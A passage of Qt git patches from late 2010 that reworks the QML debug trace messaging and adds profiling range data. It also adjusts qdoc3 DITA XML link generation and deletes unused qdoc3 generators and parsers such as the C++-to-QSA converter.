QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData}; + processMessage(rd); } void QDeclarativeDebugTrace::endRangeImpl(RangeType range) @@ -116,22 +124,20 @@ void QDeclarativeDebugTrace::endRangeImpl(RangeType range) if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeEnd << (int)range; - processMessage(data); + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString()}; + processMessage(rd); } /* Either send the message directly, or queue up a list of messages to send later (via sendMessages) */ -void QDeclarativeDebugTrace::processMessage(const QByteArray &message) +void QDeclarativeDebugTrace::processMessage(const QDeclarativeDebugData &message) { if (m_deferredSend) m_data.append(message); else - sendMessage(message); + sendMessage(message.toByteArray()); } /* @@ -142,7 +148,7 @@ void QDeclarativeDebugTrace::sendMessages() if (m_deferredSend) { //### this is a suboptimal way to send batched messages for (int i = 0; i < m_data.count(); ++i) - sendMessage(m_data.at(i)); + sendMessage(m_data.at(i).toByteArray()); m_data.clear(); } } diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index b935fbe..86c0987 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -49,18 +49,22 @@ QT_BEGIN_HEADER QT_BEGIN_NAMESPACE +struct QDeclarativeDebugData +{ + qint64 time; + int messageType; + int detailType; + QString detailData; + + QByteArray toByteArray() const; +}; + +Q_DECLARE_TYPEINFO(QDeclarativeDebugData,Q_PRIMITIVE_TYPE); + class QUrl; class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService { public: - enum EventType { - FramePaint, - Mouse, - Key, - - MaximumEventType - }; - enum Message { Event, RangeStart, @@ -70,6 +74,14 @@ public: MaximumMessage }; + enum EventType { + FramePaint, + Mouse, + Key, + + MaximumEventType + }; + enum RangeType { Painting, Compiling, @@ -94,12 +106,12 @@ private: void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QString &); void endRangeImpl(RangeType); - void processMessage(const QByteArray &); + void processMessage(const QDeclarativeDebugData &); void sendMessages(); QPerformanceTimer m_timer; bool m_enabled; bool m_deferredSend; - QList m_data; + QList m_data; }; QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 055d009..c8b4c7d 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -120,7 +120,7 @@ public: QDeclarativeBindingProfiler(QDeclarativeBinding *bind) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); - //QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression()); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression()); } ~QDeclarativeBindingProfiler() diff --git a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp index 04737e7..497a556 100644 --- a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp +++ b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp @@ -54,6 +54,7 @@ private slots: void all(); void startElapsed(); void doubleElapsed(); + void trace(); }; void tst_qperformancetimer::all() @@ -84,6 +85,16 @@ void tst_qperformancetimer::doubleElapsed() } } +void tst_qperformancetimer::trace() +{ + QString s("A decent sized string of text here."); + QBENCHMARK { + QByteArray data; + QDataStream ds(&data, QIODevice::WriteOnly); + ds << (qint64)100 << (int)5 << (int)5 << s; + } +} + QTEST_MAIN(tst_qperformancetimer) #include "tst_qperformancetimer.moc" -- cgit v0.12 From 280f67d16430ce0dcfcc31a0c88ce7156126066c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 5 Nov 2010 15:05:53 +1000 Subject: Add additional trace range data. --- src/declarative/debugger/qdeclarativedebugtrace.cpp | 15 +++++++++++++++ src/declarative/debugger/qdeclarativedebugtrace_p.h | 2 ++ src/declarative/qml/qdeclarativeboundsignal.cpp | 1 + src/declarative/qml/qdeclarativecomponent.cpp | 4 +++- src/declarative/qml/qdeclarativeengine.cpp | 1 + src/declarative/qml/qdeclarativetypeloader.cpp | 1 + 6 files changed, 23 insertions(+), 1 deletion(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index 7f970bf..314db70 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -86,6 +86,12 @@ void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data) traceInstance()->rangeDataImpl(t, data); } +void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data) +{ + if (QDeclarativeDebugService::isDebuggingEnabled()) + traceInstance()->rangeDataImpl(t, data); +} + void QDeclarativeDebugTrace::endRange(RangeType t) { if (QDeclarativeDebugService::isDebuggingEnabled()) @@ -119,6 +125,15 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData processMessage(rd); } +void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData) +{ + if (status() != Enabled || !m_enabled) + return; + + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100))}; + processMessage(rd); +} + void QDeclarativeDebugTrace::endRangeImpl(RangeType range) { if (status() != Enabled || !m_enabled) diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index 86c0987..3f9b904 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -96,6 +96,7 @@ public: static void startRange(RangeType); static void rangeData(RangeType, const QString &); + static void rangeData(RangeType, const QUrl &); static void endRange(RangeType); QDeclarativeDebugTrace(); @@ -105,6 +106,7 @@ private: void addEventImpl(EventType); void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QString &); + void rangeDataImpl(RangeType, const QUrl &); void endRangeImpl(RangeType); void processMessage(const QDeclarativeDebugData &); void sendMessages(); diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index 1bb92dd..030fb2c 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -167,6 +167,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) { if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : "")); m_isEvaluating = true; if (!m_paramsValid) { if (!m_signal.parameterTypes().isEmpty()) diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index 2686ce3..5be41ab 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -785,8 +785,10 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon Q_ASSERT(!isRoot || state); // Either this isn't a root component, or a state data must be provided Q_ASSERT((state != 0) ^ (errors != 0)); // One of state or errors (but not both) must be provided - if (isRoot) + if (isRoot) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, component->url); + } QDeclarativeContextData *ctxt = new QDeclarativeContextData; ctxt->isInternal = true; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index dac40b0..5122bdf 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -929,6 +929,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object) if (data && data->deferredComponent) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, QLatin1String("Deferred Creation:") + object->metaObject()->className()); QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine); QDeclarativeComponentPrivate::ConstructionState state; diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp index d9b4c54..f42e8a7 100644 --- a/src/declarative/qml/qdeclarativetypeloader.cpp +++ b/src/declarative/qml/qdeclarativetypeloader.cpp @@ -901,6 +901,7 @@ void QDeclarativeTypeData::compile() m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine()); m_compiledData->url = m_imports.baseUrl(); m_compiledData->name = m_compiledData->url.toString(); + QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Compiling, m_compiledData->name); QDeclarativeCompiler compiler; if (!compiler.compile(typeLoader()->engine(), this, m_compiledData)) { -- cgit v0.12 From c5d942a039b924b0179a9845cce2e4660905f2f8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 19 Nov 2010 13:22:11 +0100 Subject: qdoc: Replaced all "#location" with "file.xml#location" --- tools/qdoc3/ditaxmlgenerator.cpp | 39 +++++++++++++++++++++++++++++---------- 1 file changed, 29 insertions(+), 10 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index aace05a..d4285a8 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -976,8 +976,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - writeXrefListItem(QString("#" + Doc::canonicalTitle((*s).name)), - (*s).name); + QString li = outFileName() + "#" + Doc::canonicalTitle((*s).name); + writeXrefListItem(li, (*s).name); } ++s; } @@ -2762,7 +2762,8 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, if (usedParagraphNames.contains(char('a' + i))) { xmlWriter().writeStartElement("xref"); QString guid = lookupGuid(outFileName(),QString(ch)); - xmlWriter().writeAttribute("href",QString("#%1").arg(guid)); + QString attr = outFileName() + QString("#%1").arg(guid); + xmlWriter().writeAttribute("href", attr); xmlWriter().writeCharacters(QString(ch.toUpper())); xmlWriter().writeEndElement(); // } @@ -2849,16 +2850,17 @@ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","function-index"); - xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","alphabet"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + QString guid = lookupGuid(outFileName(),QString(ch)); + QString attr = outFileName() + QString("#%1").arg(guid); + xmlWriter().writeAttribute("href", attr); xmlWriter().writeCharacters(QString(ch.toUpper())); xmlWriter().writeEndElement(); // + } - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    char nextLetter = 'a'; @@ -3700,7 +3702,8 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, if (actualNode == 0) actualNode = apparentNode; xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); + QString href = linkForNode(actualNode, relative); + xmlWriter().writeAttribute("href",href); xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4042,10 +4045,26 @@ QString DitaXmlGenerator::getLink(const Atom* atom, link = linkForNode(*node, relative); if (*node && (*node)->subType() == Node::Image) link = "images/used-in-examples/" + link; - if (targetAtom) - link += "#" + refForAtom(targetAtom, *node); + if (targetAtom) { + if (link.isEmpty()) + link = outFileName(); + QString guid = lookupGuid(link,refForAtom(targetAtom,*node)); + link += "#" + guid; + } +#if 0 + else if (link.isEmpty() && *node) { + link = outFileName() + "#" + (*node)->guid(); + } +#endif + else if (!link.isEmpty() && *node && link.endsWith(".xml")) { + link += "#" + (*node)->guid(); + } } } + if (!link.isEmpty() && link[0] == '#') { + link.prepend(outFileName()); + qDebug() << "LOCAL LINK:" << link; + } return link; } -- cgit v0.12 From 771337bb2c286343ac912a32101fc7d418ef8a7c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 15:40:40 +0100 Subject: Removed unused files and functionality from qdoc3. Many of the generators were unused. The old QSA and Qt Script parsers were unused. We no longer use DCF files for Qt Assistant. We no longer generate Qt Jambi documentation, and qdoc3 was not used for much of that process, making some of the relevant files obsolete. --- tools/qdoc3/bookgenerator.cpp | 64 --- tools/qdoc3/bookgenerator.h | 64 --- tools/qdoc3/cpptoqsconverter.cpp | 415 ----------------- tools/qdoc3/cpptoqsconverter.h | 88 ---- tools/qdoc3/dcfsection.cpp | 111 ----- tools/qdoc3/dcfsection.h | 94 ---- tools/qdoc3/htmlgenerator.cpp | 132 +----- tools/qdoc3/htmlgenerator.h | 11 - tools/qdoc3/jambiapiparser.cpp | 546 ---------------------- tools/qdoc3/jambiapiparser.h | 99 ---- tools/qdoc3/javacodemarker.cpp | 203 -------- tools/qdoc3/javacodemarker.h | 83 ---- tools/qdoc3/javadocgenerator.cpp | 454 ------------------ tools/qdoc3/javadocgenerator.h | 95 ---- tools/qdoc3/linguistgenerator.cpp | 245 ---------- tools/qdoc3/linguistgenerator.h | 85 ---- tools/qdoc3/loutgenerator.cpp | 63 --- tools/qdoc3/loutgenerator.h | 67 --- tools/qdoc3/main.cpp | 26 +- tools/qdoc3/mangenerator.cpp | 228 --------- tools/qdoc3/mangenerator.h | 79 ---- tools/qdoc3/qdoc3.pro | 26 -- tools/qdoc3/qsakernelparser.cpp | 186 -------- tools/qdoc3/qsakernelparser.h | 77 ---- tools/qdoc3/qscodemarker.cpp | 378 --------------- tools/qdoc3/qscodemarker.h | 79 ---- tools/qdoc3/qscodeparser.cpp | 944 -------------------------------------- tools/qdoc3/qscodeparser.h | 128 ------ tools/qdoc3/sgmlgenerator.cpp | 63 --- tools/qdoc3/sgmlgenerator.h | 67 --- 30 files changed, 3 insertions(+), 5197 deletions(-) delete mode 100644 tools/qdoc3/bookgenerator.cpp delete mode 100644 tools/qdoc3/bookgenerator.h delete mode 100644 tools/qdoc3/cpptoqsconverter.cpp delete mode 100644 tools/qdoc3/cpptoqsconverter.h delete mode 100644 tools/qdoc3/dcfsection.cpp delete mode 100644 tools/qdoc3/dcfsection.h delete mode 100644 tools/qdoc3/jambiapiparser.cpp delete mode 100644 tools/qdoc3/jambiapiparser.h delete mode 100644 tools/qdoc3/javacodemarker.cpp delete mode 100644 tools/qdoc3/javacodemarker.h delete mode 100644 tools/qdoc3/javadocgenerator.cpp delete mode 100644 tools/qdoc3/javadocgenerator.h delete mode 100644 tools/qdoc3/linguistgenerator.cpp delete mode 100644 tools/qdoc3/linguistgenerator.h delete mode 100644 tools/qdoc3/loutgenerator.cpp delete mode 100644 tools/qdoc3/loutgenerator.h delete mode 100644 tools/qdoc3/mangenerator.cpp delete mode 100644 tools/qdoc3/mangenerator.h delete mode 100644 tools/qdoc3/qsakernelparser.cpp delete mode 100644 tools/qdoc3/qsakernelparser.h delete mode 100644 tools/qdoc3/qscodemarker.cpp delete mode 100644 tools/qdoc3/qscodemarker.h delete mode 100644 tools/qdoc3/qscodeparser.cpp delete mode 100644 tools/qdoc3/qscodeparser.h delete mode 100644 tools/qdoc3/sgmlgenerator.cpp delete mode 100644 tools/qdoc3/sgmlgenerator.h diff --git a/tools/qdoc3/bookgenerator.cpp b/tools/qdoc3/bookgenerator.cpp deleted file mode 100644 index bbcdd11..0000000 --- a/tools/qdoc3/bookgenerator.cpp +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - bookgenerator.cpp -*/ - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -BookGenerator::BookGenerator() -{ -} - -BookGenerator::~BookGenerator() -{ -} - -void BookGenerator::generateTree( const Tree *tree, CodeMarker *marker ) -{ - Q_UNUSED( tree ) - Q_UNUSED( marker ) -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/bookgenerator.h b/tools/qdoc3/bookgenerator.h deleted file mode 100644 index 69b65fc..0000000 --- a/tools/qdoc3/bookgenerator.h +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - bookgenerator.h -*/ - -#ifndef BOOKGENERATOR_H -#define BOOKGENERATOR_H - -#include "generator.h" - -QT_BEGIN_NAMESPACE - -class BookGenerator : public Generator -{ -public: - BookGenerator(); - ~BookGenerator(); - - virtual void generateTree( const Tree *tree, CodeMarker *marker ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/cpptoqsconverter.cpp b/tools/qdoc3/cpptoqsconverter.cpp deleted file mode 100644 index 1a44c16..0000000 --- a/tools/qdoc3/cpptoqsconverter.cpp +++ /dev/null @@ -1,415 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - cpptoqsconverter.cpp -*/ - -#include "config.h" -#include "cpptoqsconverter.h" - -QT_BEGIN_NAMESPACE - -#define CONFIG_QUICK "quick" -#define CONFIG_INDENTSIZE "indentsize" - -void setTabSize( int size ); -void setIndentSize( int size ); -int columnForIndex( const QString& t, int index ); -int indentForBottomLine( const QStringList& program, QChar typedIn ); - -static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*"; - -QRegExp CppToQsConverter::qClassRegExp; -QRegExp CppToQsConverter::addressOperatorRegExp; -QRegExp CppToQsConverter::gulbrandsenRegExp; -int CppToQsConverter::tabSize; - -ClassNode *CppToQsConverter::findClassNode( Tree *qsTree, - const QString& qtName ) -{ - ClassNode *classe = (ClassNode *) qsTree->findNode( QStringList(qtName), Node::Class ); - if ( classe == 0 ) - classe = (ClassNode *) qsTree->findNode( QStringList(qtName.mid(1)), Node::Class ); - return classe; -} - -QString CppToQsConverter::convertedDataType( Tree *qsTree, - const QString& leftType, - const QString& /* rightType */ ) -{ - QString s = leftType; - - if ( s.startsWith("const ") ) - s = s.mid( 6 ); - while ( s.endsWith("*") || s.endsWith("&") || s.endsWith(" ") ) - s.truncate( s.length() - 1 ); - - switch ( s[0].unicode() ) { - case 'Q': - if ( s == "QCString" ) { - return "String"; - } else { - Node *node = findClassNode( qsTree, s ); - if ( node == 0 ) { - return ""; - } else { - return node->name(); - } - } - break; - case 'b': - if ( s == "bool" ) - return "Boolean"; - break; - case 'c': - if ( s == "char" ) { - if ( leftType == "const char *" ) { - return "String"; - } else { - return "Number"; - } - } - break; - case 'd': - if ( s == "double" ) - return "Number"; - break; - case 'f': - if ( s == "float" ) - return "Number"; - case 'i': - if ( s == "int" ) - return "Number"; - break; - case 'l': - if ( s == "long" || s == "long int" || s == "long long" || - s == "long long int" || s == "long double" ) - return "Number"; - break; - case 's': - if ( s == "short" || s == "short int" || s == "signed char" || - s == "signed short" || s == "signed short int" || s == "signed" || - s == "signed int" || s == "signed long" || s == "signed long int" ) - return "Number"; - break; - case 'u': - if ( s == "uchar" || s == "unsigned" || s == "unsigned char" || - s == "ushort" || s == "unsigned short" || - s == "unsigned short int" || s == "uint" || s == "unsigned int" || - s == "ulong" || s == "unsigned long" || s == "unsigned long int" ) - return "Number"; - break; - case 'v': - if ( s == "void" ) - return ""; - } - return s; -} - -QString CppToQsConverter::convertedCode( Tree *qsTree, const QString& code, - const QSet& classesWithNoQ ) -{ - QString result; - QStringList program; - QStringList comments; - int programWidth = 0; - - QStringList originalLines = code.split("\n"); - QStringList::ConstIterator ol = originalLines.begin(); - while ( ol != originalLines.end() ) { - QString code = (*ol).trimmed(); - QString comment; - - int slashSlash = code.indexOf( "//" ); - if ( slashSlash != -1 ) { - comment = code.mid( slashSlash ); - code.truncate( slashSlash ); - code = code.trimmed(); - } - - code = convertCodeLine( qsTree, program, code, classesWithNoQ ); - program.append( code ); - - comment = convertComment( qsTree, comment, classesWithNoQ ); - comments.append( comment ); - - int n = indentForBottomLine( program, QChar::Null ); - for ( int i = 0; i < n; i++ ) - program.last().prepend( " " ); - - int width = columnForIndex( program.last(), program.last().length() ); - if ( !comment.isEmpty() && width > programWidth ) - programWidth = width; - ++ol; - } - - programWidth = ( (programWidth + (tabSize - 1) + 2) / tabSize ) * tabSize; - - QStringList::ConstIterator p = program.begin(); - QStringList::ConstIterator c = comments.begin(); - while ( c != comments.end() ) { - if ( c != comments.begin() ) - result += "\n"; - - if ( (*p).trimmed().isEmpty() ) { - if ( !(*c).isEmpty() ) - result += *p; - } else { - result += *p; - if ( !(*c).isEmpty() ) { - int i = columnForIndex( *p, (*p).length() ); - while ( i++ < programWidth ) - result += " "; - } - } - result += *c; - ++p; - ++c; - } - return result; -} - -void CppToQsConverter::initialize( const Config& config ) -{ - qClassRegExp.setPattern( "\\bQ([A-Z][A-Za-z]+)\\b" ); - addressOperatorRegExp.setPattern( "([(\\s])[*&]([a-zA-Z])" ); - gulbrandsenRegExp.setPattern( "\\b::\\b|->" ); - - tabSize = config.getInt( CONFIG_TABSIZE ); - setTabSize( tabSize ); - - int size = config.getInt( CONFIG_QUICK + Config::dot + CONFIG_INDENTSIZE ); - if ( size > 0 ) - setIndentSize( size ); -} - -void CppToQsConverter::terminate() -{ -} - -QString CppToQsConverter::convertCodeLine( Tree *qsTree, - const QStringList& program, - const QString& code, - const QSet& classesWithNoQ ) -{ - static QString dataTypeFmt = - "(?!return)(?:const\\b\\s*)?[A-Za-z_]+(?:\\s*[*&])?"; - static QRegExp funcPrototypeRegExp( - "(" + dataTypeFmt + ")\\s*\\b([A-Z][a-zA-Z_0-9]*::)?" - "([a-z][a-zA-Z_0-9]*)\\(([^);]*)(\\)?)(?:\\s*const)?" ); - static QRegExp paramRegExp( - "^\\s*(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*(,)?\\s*" ); - static QRegExp uninitVarRegExp( - "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*);" ); - static QRegExp eqVarRegExp( - dataTypeFmt + "\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*=(\\s*)(.*)" ); - static QRegExp ctorVarRegExp( - "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\((.*)\\);" ); - static QRegExp qdebugRegExp( - "q(?:Debug|Warning|Fatal)\\(\\s*(\"(?:\\\\.|[^\"])*\")\\s*" - "(?:,\\s*(\\S(?:[^,]*\\S)?))?\\s*\\);" ); - static QRegExp coutRegExp( "c(?:out|err)\\b(.*);" ); - static QRegExp lshiftRegExp( "\\s*<<\\s*" ); - static QRegExp endlRegExp( "^endl$" ); - - if ( code.isEmpty() || code == "{" || code == "}" ) - return code; - - QString result; - - if ( funcPrototypeRegExp.exactMatch(code) ) { - QString returnType = funcPrototypeRegExp.cap( 1 ); - QString className = funcPrototypeRegExp.cap( 2 ); - QString funcName = funcPrototypeRegExp.cap( 3 ); - QString params = funcPrototypeRegExp.cap( 4 ).trimmed(); - bool toBeContinued = funcPrototypeRegExp.cap( 5 ).isEmpty(); - // ### unused - Q_UNUSED(toBeContinued); - - className.replace( "::", "." ); - - result = "function " + className + funcName + "("; - - if ( !params.isEmpty() && params != "void" ) { - result += " "; - int i = funcPrototypeRegExp.pos( 4 ); - while ( (i = paramRegExp.indexIn(code, i, - QRegExp::CaretAtOffset)) != -1 ) { - QString dataType = paramRegExp.cap( 1 ); - QString paramName = paramRegExp.cap( 2 ); - QString comma = paramRegExp.cap( 3 ); - - result += paramName + " : " + - convertedDataType( qsTree, dataType ); - if ( comma.isEmpty() ) - break; - result += ", "; - i += paramRegExp.matchedLength(); - } - result += " "; - } - - result += ")"; - returnType = convertedDataType( qsTree, returnType ); - if ( !returnType.isEmpty() ) - result += " : " + returnType; - } else if ( uninitVarRegExp.exactMatch(code) ) { - QString dataType = uninitVarRegExp.cap( 1 ); - QString varName = uninitVarRegExp.cap( 2 ); - - result = "var " + varName; - dataType = convertedDataType( qsTree, dataType ); - if ( !dataType.isEmpty() ) - result += " : " + dataType; - result += ";"; - } else if ( eqVarRegExp.exactMatch(code) ) { - QString varName = eqVarRegExp.cap( 1 ); - QString value = eqVarRegExp.cap( 3 ); - - value = convertExpr( qsTree, value, classesWithNoQ ); - result += "var " + varName + " = " + value; - } else if ( ctorVarRegExp.exactMatch(code) ) { - QString dataType = ctorVarRegExp.cap( 1 ); - QString varName = ctorVarRegExp.cap( 2 ); - QString value = ctorVarRegExp.cap( 3 ).trimmed(); - - result += "var " + varName + " = "; - - dataType = convertedDataType( qsTree, dataType ); - value = convertExpr( qsTree, value, classesWithNoQ ); - - if ( dataType.isEmpty() || dataType == "String" ) { - if ( value.contains(",") ) { - result += "..."; - } else { - result += value; - } - } else { - result += "new " + dataType; - if ( !value.isEmpty() ) - result += "( " + value + " )"; - } - result += ";"; - } else if ( qdebugRegExp.exactMatch(code) ) { - QString fmt = qdebugRegExp.cap( 1 ); - QString arg1 = qdebugRegExp.cap( 2 ); - - result += "println "; - int i = 0; - while ( i < (int) fmt.length() ) { - if ( fmt[i] == '%' ) { - int percent = i; - i++; - while ( i < (int) fmt.length() && - QString("diouxXeEfFgGaAcsCSpn%\"").indexOf(fmt[i]) == -1 ) - i++; - if ( fmt[i] == '%' ) { - result += fmt[i++]; - } else if ( fmt[i] != '"' ) { - if ( percent == 1 ) { - result.truncate( result.length() - 1 ); - } else { - result += "\" + "; - } - i++; - if ( arg1.endsWith(".latin1()") ) - arg1.truncate( arg1.length() - 9 ); - result += arg1; - if ( i == (int) fmt.length() - 1 ) { - i++; - } else { - result += " + \""; - } - } - } else { - result += fmt[i++]; - } - } - result += ";"; - } else if ( coutRegExp.exactMatch(code) && - program.filter("var cout").isEmpty() ) { - QStringList args = coutRegExp.cap(1).split(lshiftRegExp); - args.replaceInStrings( endlRegExp, "\"\\n\"" ); - if ( args.last() == "\"\\n\"" ) { - args.erase( args.end() - 1 ); - if ( args.isEmpty() ) - args << "\"\""; - result += "println "; - } else { - result += "print "; - } - result += args.join( " + " ) + ";"; - } else { - result = convertExpr( qsTree, code, classesWithNoQ ); - } - return result; -} - -QString CppToQsConverter::convertComment( Tree * /* 